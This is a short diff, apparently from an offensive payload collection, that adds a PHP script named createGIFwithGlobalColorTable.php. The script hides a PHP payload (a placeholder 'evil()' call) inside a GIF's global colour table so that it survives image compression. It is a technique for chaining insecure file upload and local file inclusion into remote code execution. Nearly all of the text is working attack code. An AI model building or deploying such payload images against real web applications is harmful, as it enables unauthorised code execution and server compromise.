LFI2RCE - Picture Compression - SOCKS5 CS

Upload Insecure Files/Picture Compression/createGIFwithGlobalColorTable.php

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+<?php
+// createGIFwithGlobalColorTable.php
+$_file="example.gif";
+$_payload="<?php evil();?>";
+$_width=200;
+$_height=200;
+if(strlen($_payload)%3!=0){
+ echo "payload%3==0 !"; exit();
+}
+$im = imagecreate($_width, $_height);
+$_hex=unpack('H*',$_payload);
+
+$colors_hex=str_split($_hex[1], 6);
+
+for($i=0; $i < count($colors_hex); $i++){
+  $_color_chunks=str_split($colors_hex[$i], 2);
+  $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
+  imagesetpixel($im,$i,1,$color);
+}
+
+imagegif($im,$_file);
+?>